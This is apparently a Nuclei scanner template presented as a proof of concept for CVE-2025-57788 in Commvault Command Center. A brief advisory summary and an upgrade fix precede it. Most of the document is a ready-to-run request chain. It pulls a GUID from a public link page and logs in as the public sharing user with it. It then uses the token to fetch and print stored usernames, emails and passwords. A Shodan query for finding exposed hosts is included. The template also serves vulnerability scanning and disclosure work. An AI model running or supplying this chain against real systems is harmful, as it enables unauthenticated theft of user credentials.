An issue was discovered in Commvault before 11.36.60. A vulnerability in a known login mechanism allows unauthenticated attackers to execute API calls without requiring user credentials. RBAC helps limit the exposure but does not eliminate risk.
PoC
id: CVE-2025-57788
info:
name: Commvault Unauthenticated Password Disclosure (WT-2025-0047)
author: DhiyaneshDK,iamnoooob,pdresearch,watchtowr
severity: medium
description: |
An issue was discovered in Commvault before 11.36.60. A vulnerability in a known login mechanism allows unauthenticated attackers to execute API calls without requiring user credentials. RBAC helps limit the exposure but does not eliminate risk.
impact: |
Unauthenticated attackers can exploit the public sharing login mechanism to access API endpoints and retrieve sensitive user information including passwords.
remediation: |
Upgrade Commvault to version 11.36.60 or later that properly restricts API access and removes the vulnerable login mechanism.
reference:
- https://labs.watchtowr.com/guess-who-would-be-stupid-enough-to-rob-the-same-vault-twice-pre-auth-rce-chains-in-commvault/
- https://documentation.commvault.com/securityadvisories/CV_2025_08_3.html
metadata:
verified: true
max-request: 1
shodan-query: http.favicon.hash:-542502280
tags: cve,cve2025,commandcenter,commvault,unauth,vkev,vuln
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET /commandcenter/publicLink.do HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
part: body
name: guid
group: 1
regex:
- 'cv-gorkha\\":\\"(.*?)\\"'
internal: true
matchers:
- type: word
part: body
words:
- 'cv-gorkha'
internal: true
- raw:
- |
POST /commandcenter/api/Login HTTP/1.1
Host: {{Hostname}}
Accept: application/json
Content-Type: application/json;charset=UTF-8
{
"username": "_+_PublicSharingUser_",
"password": "{{base64(guid)}}"
}
matchers:
- type: word
part: body
words:
- '_+_PublicSharingUser_'
- 'Public Sharing User'
- 'token'
condition: and
internal: true
extractors:
- type: regex
part: body
name: token
group: 1
regex:
- '"token":"(.*?)"'
internal: true
- raw:
- |
GET /commandcenter/RestServlet/Database/GetUmUserById/1 HTTP/1.1
Host: {{Hostname}}
Accept: application/xml
Authtoken: {{token}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body, 'login','email','password','datePasswordSet')
condition: and
extractors:
- type: json
part: body
name: password
json:
- ".password?"
internal: true
- type: json
part: body
name: username
json:
- ".login?"
internal: true
- type: json
part: body
name: email
json:
- ".email?"
internal: true
- type: dsl
dsl:
- '"username: " + username + " password:" + password + " email: " + email'
# digest: 4a0a00473045022007cfdbc4b3651d3f134cd65aafad58ab0b4d7c282dbd203b3827c21f2253db8f02210081da3f84706b276884f1312a7a9bc20994619993347bb65888b139f6373eb9f9:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.